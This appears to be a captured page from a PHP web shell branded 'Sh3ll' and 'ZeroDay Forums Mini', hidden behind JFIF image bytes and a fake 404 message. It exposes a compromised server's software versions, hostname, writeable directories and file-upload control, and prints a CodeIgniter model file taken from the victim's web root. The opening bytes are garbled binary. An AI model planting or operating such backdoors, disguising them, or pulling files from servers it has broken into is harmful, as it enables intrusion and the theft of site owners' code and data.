����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Color_backends.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Color_backends extends CI_Model {

//get backend template color
	public function retrieve_color_editdata()
	{
		$this->db->select('*');
		$this->db->from('color_backends');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->row();	
		}
		return false;
	}
//update backent template color
	public function update_color($data)
	{
		$this->db->select('*');
		$this->db->from('color_backends');
		$query = $this->db->get()->num_rows();

		if($query){
			$this->db->where('id',1)->update('color_backends',$data);
			return true;
		}else{
			$success = $this->db->insert('color_backends',$data);
			if($success){
				return  true;				
			}else{
				return false;
			}
		}
	}

}

ZeroDay Forums Mini